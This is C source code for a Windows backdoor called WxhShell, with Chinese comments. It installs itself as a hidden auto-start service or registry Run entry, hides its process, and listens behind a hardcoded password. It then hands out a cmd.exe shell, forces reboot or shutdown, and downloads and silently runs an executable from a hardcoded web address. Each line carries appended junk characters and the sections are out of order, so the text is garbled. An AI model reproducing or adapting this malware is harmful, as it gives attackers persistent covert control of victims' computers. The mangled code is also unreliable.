    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); S`s]zdUTP  
    if(Boot(SHUTDOWN)) u9"kF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :rb;*nY!  
    else { }g+kU1y  
    closesocket(wsh); mF 1f(  
    ExitThread(0); {!2K-7;  
    } rUKg<]&@  
    break; Biv)s@"f-Q  
    } q1rj!7  
  // 获取shell T1Py6Q,-  
  case 's': { 9Q9{>d#"  
    CmdShell(wsh); ("a@V8M`$F  
    closesocket(wsh); T_*inPf  
    ExitThread(0); Tt: (l/1  
    break; 2;Z 0pPR&  
  } r?DCR\Jq  
  // 退出 'l'3&.{Yfk  
  case 'x': { :ts3_-cr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O\<zQ2m  
    CloseIt(wsh); )BJkHED{  
    break; 6:8s,a3&[k  
    } GN_L"|#)=  
  // 离开 FAM{p=t]HT  
  case 'q': { Au2?f~#Fv  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Htgo=7!?\3  
    closesocket(wsh); YrL(4 Nt8  
    WSACleanup(); UBL{3s^"  
    exit(1); Z1fY' f  
    break; ()aCE^C  
        } U`6|K$@  
  } O:0{vu9AQ  
  } bSe\d~{  
w+6P x#  
  // 提示信息 }.g5zy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kP`#zwp'Ci  
} Zu"qTJE/1  
  } uw3vYYFX  
xKu#O H  
  return; znrO~OK  
} {F<0e^*  
2Hd\>{*  
// shell模块句柄 /l<(i+0  
int CmdShell(SOCKET sock) N}#Rw2Vl  
{ JU)^b V_  
STARTUPINFO si; (utP@d^  
ZeroMemory(&si,sizeof(si)); z|Y54o3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =w3A{h"^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^iONC&r  
PROCESS_INFORMATION ProcessInfo; 0`E G-Hw  
char cmdline[]="cmd"; 6Amt75RY  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); k^cZePqE6d  
  return 0; u[**,.Ecg  
} T U6s~  
>5t! Xt  
// 自身启动模式 eWFkUjz  
int StartFromService(void) XR..DVab  
{ AUD) =a>  
typedef struct @XJ7ff&  
{ n$2oM5<  
  DWORD ExitStatus; WK$\#>T  
  DWORD PebBaseAddress; 3VLwY!2:  
  DWORD AffinityMask; ?kR1T0lKkE  
  DWORD BasePriority; NFTv4$5d  
  ULONG UniqueProcessId; rXW.F'=K6  
  ULONG InheritedFromUniqueProcessId; 4w+AOWjd  
}   PROCESS_BASIC_INFORMATION; qy'-'UlIr  
K9zr]7;th  
PROCNTQSIP NtQueryInformationProcess; e%e.|+  
iZG-ca  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Dn)yBA%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _. 9 5>`  
dU3A:uS^  
  HANDLE             hProcess; T^4 dHG-(  
  PROCESS_BASIC_INFORMATION pbi; ;B@#,6t/  
\:+\H0Bz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :!_l@=l  
  if(NULL == hInst ) return 0; 8gavcsVE[  
0U7Gl9~  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [~8U],?1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 'd2 :a2C]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <TVJ9l  
;j9%D`u<  
  if (!NtQueryInformationProcess) return 0; *OA(v^@tx7  
_>vH%FY  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @RPQ 1da  
  if(!hProcess) return 0; AZ(zM.y!#_  
S`vt\g$ dN  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; A8tJ&O rwY  
e.vt"eRB  
  CloseHandle(hProcess); Fj`k3~tUw  
n{N0S^h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); E2M<I;:EA  
if(hProcess==NULL) return 0; QqQhQGV  
f$FO 1B)  
HMODULE hMod; ~R[ k^i.Y  
char procName[255]; l)\Q~^cxd  
unsigned long cbNeeded; {_b2!!p  
MH#Tp#RG  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y/J~M$9P,  
=Fc]mcJ69  
  CloseHandle(hProcess); [\3ZMH *  
>/74u/&  
if(strstr(procName,"services")) return 1; // 以服务启动 rA ={;`  
se.HA  
  return 0; // 注册表启动 2V]a+Cgk  
} J&j5@  
by+xK~>  
// 主模块 LilK6K  
int StartWxhshell(LPSTR lpCmdLine) B:X%k/{  
{ hV~M!vFxA  
  SOCKET wsl; sg=G<50i  
BOOL val=TRUE; xxs +=.2  
  int port=0; %l8!p'a  
  struct sockaddr_in door; LBq2({="  
ftpPrtaP  
  if(wscfg.ws_autoins) Install(); z00X ?F  
~IYR&GEaUG  
port=atoi(lpCmdLine); {XIpH r  
*` mxv0w~(  
if(port<=0) port=wscfg.ws_port; q6pHL  
8KJ`+"<=@  
  WSADATA data; ' ds2\gN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; !D F~]&  
6fw7\u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C!:Lk,Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); j*>Df2z  
  door.sin_family = AF_INET; ]*P9=!x|M  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); gHc1_G]  
  door.sin_port = htons(port); :@)R@. -  
2T}>9X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~D@YLW1z(  
closesocket(wsl); tf6-DmMH  
return 1; 6am6'_{  
} wlP3 XF?  
r-YJ$/J  
  if(listen(wsl,2) == INVALID_SOCKET) { 7vXP|8j  
closesocket(wsl); ll0y@@Iy  
return 1; C-A? mIC  
} W0MgY%Qv[  
  Wxhshell(wsl); lv?`+tU2_  
  WSACleanup(); @?e~l:g})g  
T O]7cC  
return 0; }J6:D]Q  
^;ZpK@Luk  
} :[+8(~| za  
[ >mH  
// 以NT服务方式启动 D} B?~Lls  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ~ Rk.x +  
{ |=ph&9  
DWORD   status = 0; UF^[?M =  
  DWORD   specificError = 0xfffffff; 6O,k! y>  
w0;4O)H$O  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7[P-;8)tq  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x2t&Wpvt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sN8pwRjb  
  serviceStatus.dwWin32ExitCode     = 0; ##BbR  
  serviceStatus.dwServiceSpecificExitCode = 0; Csy$1;"A  
  serviceStatus.dwCheckPoint       = 0; Uhr2"Nuuy  
  serviceStatus.dwWaitHint       = 0; aV7VbC  
;o'r@4^&$R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); CyLwCS{V\  
  if (hServiceStatusHandle==0) return; (/nnN4\=  
DzMg^Kp  
status = GetLastError(); 59{X;  
  if (status!=NO_ERROR) 'm`}XGUBS  
{ . s>@@m-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ,9d]-CuP;  
    serviceStatus.dwCheckPoint       = 0; *Sdx:G~gp  
    serviceStatus.dwWaitHint       = 0; cH*")oD  
    serviceStatus.dwWin32ExitCode     = status; @. $- ^-  
    serviceStatus.dwServiceSpecificExitCode = specificError; &xB*Shp,B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); OU.}H $x"  
    return; Q*I8RAfd  
  } s}". po]  
fZ &  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L3HC-  
  serviceStatus.dwCheckPoint       = 0; y+k^CT/u  
  serviceStatus.dwWaitHint       = 0; Ph]b6  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); NA2={RB;  
} qJT/4 8lf_  
(/<Nh7C1c  
// 处理NT服务事件,比如:启动、停止 6QA`u*  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T0dD:sN  
{ ~n@rX=Y)]0  
switch(fdwControl) z H-a%$5  
{ 'WhJ}Uo\  
case SERVICE_CONTROL_STOP: $365VTh"  
  serviceStatus.dwWin32ExitCode = 0; Q<u?BA/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; :8eI_X  
  serviceStatus.dwCheckPoint   = 0; ?R)dx uj  
  serviceStatus.dwWaitHint     = 0; x5MS#c!7  
  { czIAx1R9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e`b#,=  
  } { rLgyrj$  
  return; xE;O =mI  
case SERVICE_CONTROL_PAUSE: mrRid}2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dfzj/spFV  
  break; -t S\  
case SERVICE_CONTROL_CONTINUE: :,JjN&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]i(/T$?~  
  break; 4@{?4k-cq  
case SERVICE_CONTROL_INTERROGATE: tnnGM,"ol  
  break; vTx>z\7q,  
}; SWx: -<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +'c+X^_  
} 2Q%7J3I  
1D#-,#?  
// 标准应用程序主函数 ' m~=sC_uL  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 9h6Oq(0b8  
{ 2`riI*fQ  
TMMJ5\t2  
// 获取操作系统版本 ;$&\ :-6A#  
OsIsNt=GetOsVer(); 2kDY+AN;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); cQhr{W,Un  
v]{UH {6  
  // 从命令行安装 k*)sz  
  if(strpbrk(lpCmdLine,"iI")) Install(); YhV<.2^k  
w -o#=R_  
  // 下载执行文件 'o}[9ZBjn  
if(wscfg.ws_downexe) { \\\8{jq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C^L xuUW  
  WinExec(wscfg.ws_filenam,SW_HIDE); g|]HS4y  
} Q*T 'tkp  
,\v'%,:C  
if(!OsIsNt) { D {Ol8:  
// 如果时win9x,隐藏进程并且设置为注册表启动 l[:Aq&[o3  
HideProc(); >-N(o2j3  
StartWxhshell(lpCmdLine); 1}a4AGAp  
} R]X 0D.  
else t}_ #N'`  
  if(StartFromService()) *'{-!Y  
  // 以服务方式启动 =W3 K6w  
  StartServiceCtrlDispatcher(DispatchTable); rWL;pM<  
else MBg[hu%  
  // 普通方式启动 lvWwr!w  
  StartWxhshell(lpCmdLine); ?< b{  
L>~Tc  
return 0; .+u b\  
} 1X5g(B  
JXJ+lZmsz  
^C'0Y.H S  
:+Ukwno?/  
=========================================== SdYf^@%}F  
=${.*,o  
edo)W mn  
%a~/q0o>  
3U>-~-DS  
??p%_{QY~b  
" ?yS1|CF%&y  
`Fn"QL-  
#include <stdio.h> b`-|7<s  
#include <string.h> @5nFa~*K%  
#include <windows.h> I2*rtVAP'j  
#include <winsock2.h> zw+aZDcV(  
#include <winsvc.h> >E+g.5 ,:W  
#include <urlmon.h> W#<1504ip  
sRD fA4/TF  
#pragma comment (lib, "Ws2_32.lib") RJ3oI+gI  
#pragma comment (lib, "urlmon.lib") pc*)^S  
/j GBQ-X  
#define MAX_USER   100 // 最大客户端连接数 @M"gEeI9  
#define BUF_SOCK   200 // sock buffer /dYv@OU?  
#define KEY_BUFF   255 // 输入 buffer p@G7}'|eyA  
nU_O|l9  
#define REBOOT     0   // 重启 5&n{QE?Um  
#define SHUTDOWN   1   // 关机 OtqFI!ns  
{3`385  
#define DEF_PORT   5000 // 监听端口 ;_(f(8BO   
+>q#eUS)  
#define REG_LEN     16   // 注册表键长度 :_R:>n9 p  
#define SVC_LEN     80   // NT服务名长度 Os"('@jd>  
geR+v+B,  
// 从dll定义API Y}c/wF7o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); hU#e\L 7  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h`|04Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]j*2PSJG  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Lg7A[\c ~  
EhHxB fAQ  
// wxhshell配置信息 en< $.aY  
struct WSCFG { e NIzI]~  
  int ws_port;         // 监听端口 ]X>yZec  
  char ws_passstr[REG_LEN]; // 口令 >-A@6Qe_  
  int ws_autoins;       // 安装标记, 1=yes 0=no f(5(V %  
  char ws_regname[REG_LEN]; // 注册表键名 p +i 1sY  
  char ws_svcname[REG_LEN]; // 服务名 W91yj:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 5X!-Hj  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 kMQ /9~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yc](  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5YD~l(,S1]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &j 4pC$Dj  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 )Zr9 `3[  
*V6| FU  
}; '{d@Gc6.  
B'}?cG]  
// default Wxhshell configuration p)IL(_X)  
struct WSCFG wscfg={DEF_PORT, +x"uP  
    "xuhuanlingzhe", FRd"F$U  
    1, ^AP8T8v  
    "Wxhshell", X .t4;  
    "Wxhshell", q?(] Y*  
            "WxhShell Service", Yb+A{`  
    "Wrsky Windows CmdShell Service", OT{"C"%5t  
    "Please Input Your Password: ", *1dDs^D#|  
  1, ~sk p}g]  
  "http://www.wrsky.com/wxhshell.exe", v=N?(6T  
  "Wxhshell.exe" 3xChik{  
    }; =j,WQ66r3  
F[jE#M=k  
// 消息定义模块 ,L/x\_28  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; |u&cN-}C d  
char *msg_ws_prompt="\n\r? for help\n\r#>"; P"w\hF  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |H5.2P&9-5  
char *msg_ws_ext="\n\rExit."; 7{|QkTgC  
char *msg_ws_end="\n\rQuit."; So aqmY;+  
char *msg_ws_boot="\n\rReboot..."; Op'a=4x]  
char *msg_ws_poff="\n\rShutdown..."; H -kX-7C  
char *msg_ws_down="\n\rSave to "; OBWWcL-  
Y 2 @8B6  
char *msg_ws_err="\n\rErr!"; Pv'Q3O2<I  
char *msg_ws_ok="\n\rOK!"; ,'X"(tpu@  
L^+rsxR  
char ExeFile[MAX_PATH]; TLdlPBnr8  
int nUser = 0; 1^\w7Rew 2  
HANDLE handles[MAX_USER]; q\Y4vWg  
int OsIsNt; C%XO|sP  
/v R>.'  
SERVICE_STATUS       serviceStatus; gfQ?k  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W$c@C02<  
n<ZPWlJ  
// 函数声明 ,>  zEG  
int Install(void); ||Zup\QB  
int Uninstall(void); cSb;a\el$  
int DownloadFile(char *sURL, SOCKET wsh); .Nn11F< d  
int Boot(int flag); HxG8 'G  
void HideProc(void); =gB5JB<}2  
int GetOsVer(void); ^|Q]WHNFB  
int Wxhshell(SOCKET wsl); {D +mr[ %  
void TalkWithClient(void *cs); oh9 ;_~  
int CmdShell(SOCKET sock); jm^.E\_  
int StartFromService(void); |YJ83nSO~  
int StartWxhshell(LPSTR lpCmdLine); ]O@$}B];)  
qLN\%}69/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); &R94xh%@(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &|hK79D  
I%[e6qX@  
// 数据结构和表定义 "`vRHeCKN  
SERVICE_TABLE_ENTRY DispatchTable[] = !/zRw-q3B  
{ *M.xVUPr  
{wscfg.ws_svcname, NTServiceMain}, (eN7s_  
{NULL, NULL} j6rNt|  
}; ";K w?  
>fPo_@O  
// 自我安装 ZitM<Qi&y  
int Install(void) /DYyl/  
{ X]0>0=^  
  char svExeFile[MAX_PATH]; <L &EH@T  
  HKEY key; * DL7p8  
  strcpy(svExeFile,ExeFile); OK [J h  
{K,In)4  
// 如果是win9x系统,修改注册表设为自启动 4-(kk0]`z  
if(!OsIsNt) { ~66xO9s  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m#7(<#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >Fel) a  
  RegCloseKey(key); u!_l/'\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $]v}X},,  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^J'_CA  
  RegCloseKey(key); / ;]5X  
  return 0; ht3.e[%'b  
    } rpR${%jc  
  } }#XFa#  
} [0H0%z#tU&  
else { }Z!D?(  
%q{q.(M#  
// 如果是NT以上系统,安装为系统服务 d1 j9{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2QfN.<[-  
if (schSCManager!=0) UiFH*HT  
{ V`V\/s gj  
  SC_HANDLE schService = CreateService )pnyVTKt  
  ( J!I)G&:  
  schSCManager, %Tm*^  
  wscfg.ws_svcname, zsFzg.$3&  
  wscfg.ws_svcdisp, ;XKe$fsa~?  
  SERVICE_ALL_ACCESS, *ukyQZ9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 6  63o  
  SERVICE_AUTO_START,  T{YZ`[  
  SERVICE_ERROR_NORMAL, J$dwy$n  
  svExeFile, D Ez,u^   
  NULL, 25^?|9o7  
  NULL,  <wH+\  
  NULL, p9(y b  
  NULL, >| R'dF}  
  NULL \/A.j|by,>  
  ); 4=zs&   
  if (schService!=0) ._mep\#.:  
  { }U_ ' 7_JT  
  CloseServiceHandle(schService); UX 1 )((  
  CloseServiceHandle(schSCManager); xP;r3u s  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O7K.\  
  strcat(svExeFile,wscfg.ws_svcname); {@Mr7*u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { o2 14V\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); wX$:NOO  
  RegCloseKey(key); (i1JRn-f  
  return 0; vvoxK0  
    } / HTY>b  
  } GD W@/oQr  
  CloseServiceHandle(schSCManager); 'rQ"Dc1D  
} Ui{%q @  
} v3tJtb^'!  
bOS)vt*V  
return 1; % RSZ.  
} <n"BPXF~  
D #ddx  
// 自我卸载 QLA.;`HIE  
int Uninstall(void) i!wU8 @  
{ cr7MvXF-  
  HKEY key; $vO&C6m$  
{Kz,_bo  
if(!OsIsNt) { 7nZPh3%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { e#eVc'=cDR  
  RegDeleteValue(key,wscfg.ws_regname); x&}]8S)  
  RegCloseKey(key); *GP2>oEM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { o5<<vvdA  
  RegDeleteValue(key,wscfg.ws_regname); ,Kit@`P%  
  RegCloseKey(key); 8`Ya7c>  
  return 0; !3v&+Jrf6  
  } vqf$("  
} tYS4"Nfb+  
} U, 6iT  
else { +n3I\7G>  
2_o#Gx'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nQ%HtXt;  
if (schSCManager!=0) pl[J!d.c  
{ " \$^j#o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }[*'  
  if (schService!=0) yU$ MB,1  
  { vdQoJWuB  
  if(DeleteService(schService)!=0) { 8% @| /  
  CloseServiceHandle(schService); OMGggg  
  CloseServiceHandle(schSCManager); G=dzP}B'WA  
  return 0; $Y$9]G":  
  } #el27"QP0  
  CloseServiceHandle(schService); Fe+ @;  
  } M[uWX=  
  CloseServiceHandle(schSCManager); s?SspuV  
} x3@-E  
} oFY!NMq}:  
ON?Y Df  
return 1; D$>_W,*V  
} jYsAL=oh,*  
c/{FDN  
// 从指定url下载文件 >.h:Y5  
int DownloadFile(char *sURL, SOCKET wsh) ,Z. sGv  
{ 4 1_gak;  
  HRESULT hr; *O?c~UJhhV  
char seps[]= "/"; _n&Nw7d2 M  
char *token; rS8a/d~;0  
char *file; &)eg3P)7  
char myURL[MAX_PATH]; (FuIOR  
char myFILE[MAX_PATH]; ?RRO  
8~=*\ @^  
strcpy(myURL,sURL); y(A' *G9  
  token=strtok(myURL,seps); O&`.R|v  
  while(token!=NULL) @@EI=\  
  { gcLz}84  
    file=token; 4s\spvJ  
  token=strtok(NULL,seps); yDWIflP0;  
  } ]B8 A  
3v* ~CQy9  
GetCurrentDirectory(MAX_PATH,myFILE); \P\Z<z7jy  
strcat(myFILE, "\\"); ;*K4{wvG  
strcat(myFILE, file); R>' %}|v/  
  send(wsh,myFILE,strlen(myFILE),0); _k-_&PR  
send(wsh,"...",3,0); "kg`TJf=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7#8Gn=g  
  if(hr==S_OK) Z`Yt~{,Q  
return 0; pwUXM?$R  
else eH&F gmU  
return 1; ^aFm6HS1  
GW2\YU^{  
} yMs!6c*  
S0$^|/Sr  
// 系统电源模块 N2r zHK  
int Boot(int flag) :t?B)  
{ }r}*=;Ea  
  HANDLE hToken; ZWs   
  TOKEN_PRIVILEGES tkp; V35Vi6*p  
&H(yLd[  
  if(OsIsNt) { I[z:;4W}L^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  Et>#&Nw8  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); qT O6I5u  
    tkp.PrivilegeCount = 1; Z\0Rw>#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xm'9n?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @sXFu[!U  
if(flag==REBOOT) { _1" ecaA  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9hp&HL)BOa  
  return 0; yTm \O UD  
} *MF9_V)8V  
else { gGqrFh\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) p|UL<M9{a]  
  return 0; 6r7>nU&d  
} H`EhsYYK  
  } gY}In+S  
  else { Hxu5Dx5![  
if(flag==REBOOT) { > A#5` $i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) &$"#hGg  
  return 0; Dc9uq5l  
} k.@![w\ea  
else { Z9{~t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Hq@+m!  
  return 0; Daf|.5>(@  
} :uL<UD,vu3  
} ;m/e|_4;y  
nF3}wCe)  
return 1; 0RR|!zEu  
} z2=bbm:  
V>6klA}o  
// win9x进程隐藏模块 $ {yc t  
void HideProc(void) 4vhf!!1  
{  MlO OB  
-Cf)`/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }$6L]   
  if ( hKernel != NULL ) oOFTQB_6  
  { ]8$8QQc<<5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ttP7-y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); XqH@3Ehk  
    FreeLibrary(hKernel); ^W |YE72Y  
  } kUT2/3Vi  
X2w)J?pv  
return; X+vKY  
} ;?h[WIy  
LG}{ibB  
// 获取操作系统版本 kR]P/4r  
int GetOsVer(void) *_V+K  
{ rYUIFPN  
  OSVERSIONINFO winfo; N:j 7J  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :;?$5h*|`  
  GetVersionEx(&winfo); 2a d|v]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2D\ pt  
  return 1; LIg1U  
  else <o EAy  
  return 0; FW]tDGJOw  
} w OL,LU  
'|}A /`  
// 客户端句柄模块 *A-_*A  
int Wxhshell(SOCKET wsl) U%3N=M  
{ 6v%yU3l  
  SOCKET wsh; mxNd  
  struct sockaddr_in client; x#{!hL 5G  
  DWORD myID; 5K vp%   
'/ Aq2  
  while(nUser<MAX_USER) g_>&R58  
{ y^2#;0W  
  int nSize=sizeof(client); qHt/,w='Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); VKa+[  
  if(wsh==INVALID_SOCKET) return 1; *d._H1zT  
'%$Vmf)=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); vPkLG*d 8  
if(handles[nUser]==0) }YwaN'3p!  
  closesocket(wsh); 1 ?@HOu  
else /9vi  
  nUser++; AXyXK??  
  } B,b8\\^k|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); "Eh=@?]S_  
ax@H^Gj@2  
  return 0; mhbczVw  
} >ohCz@~  
41 F;X{Br  
// 关闭 socket N8A)lYT]_u  
void CloseIt(SOCKET wsh) .?}M(mL  
{ c *KE3:  
closesocket(wsh); ~IhAO}1  
nUser--; 9a`Lr B  
ExitThread(0); RhWQ:l]  
} <q63?Ms'  
\gA!)q.;  
// 客户端请求句柄 ~^wSwd[  
void TalkWithClient(void *cs) :s aP :&  
{ ]b- 2:M  
=VC18yA  
  SOCKET wsh=(SOCKET)cs; I}f`iBG  
  char pwd[SVC_LEN]; @SfQbM##%  
  char cmd[KEY_BUFF]; IDct!53~  
char chr[1]; 96WzgHPWo  
int i,j; xGs}hVlZiC  
<kB:`&X<\  
  while (nUser < MAX_USER) { 3W1Lh~Av  
fCt|8,-H  
if(wscfg.ws_passstr) { A?R`~*Q5  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 91OxUVd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2z>-H595az  
  //ZeroMemory(pwd,KEY_BUFF); ;"dX]":  
      i=0; }*fBHzNN  
  while(i<SVC_LEN) { .n:Q~GEL  
sXVl4!=l6  
  // 设置超时 \Vc[/Qp7Bb  
  fd_set FdRead; rr# nBhh8  
  struct timeval TimeOut; Pps$=`  
  FD_ZERO(&FdRead); "i&)+dr-  
  FD_SET(wsh,&FdRead); B{Q}^Mcxy  
  TimeOut.tv_sec=8; <rC%$tr  
  TimeOut.tv_usec=0; o.KnDY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]4aPn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s`yzeo  
w8lrpbLh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -K|1w'E  
  pwd=chr[0]; <83Ky;ry  
  if(chr[0]==0xd || chr[0]==0xa) { ~ l}f@@u  
  pwd=0; !y_FbJ8KC  
  break; 9xA4;)36  
  } Hf4_zd  
  i++; {Y~>&B5  
    } W3:j Z:  
e=;A3S  
  // 如果是非法用户,关闭 socket CR4O#f8\  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Avx`  
} i'f w>-0  
Jn+-G4h$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?Q:SVxzUd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); w=KfkdAJ*/  
sx?IIFF  
while(1) { - 2)k!5X=  
PUQ",;&y1  
  ZeroMemory(cmd,KEY_BUFF); <]Td7-n  
TV`1&ta  
      // 自动支持客户端 telnet标准   99yWUC,  
  j=0; BU -;P  
  while(j<KEY_BUFF) { bEcs(Mc~  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |[],z 8  
  cmd[j]=chr[0]; t/ \S9  
  if(chr[0]==0xa || chr[0]==0xd) { a1pp=3Pd?~  
  cmd[j]=0; @i ~A7L0/  
  break; +4yre^gC  
  } ~ z^?+MgZ2  
  j++; .x I Aep_  
    } nJI2IPZ  
8AR8u!;8  
  // 下载文件 4t*%(  
  if(strstr(cmd,"http://")) { (xgw';g  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ?]><#[?'L  
  if(DownloadFile(cmd,wsh)) ]>M\|,wh  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E &9<JS  
  else >0HH#JW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WK|5:V8E  
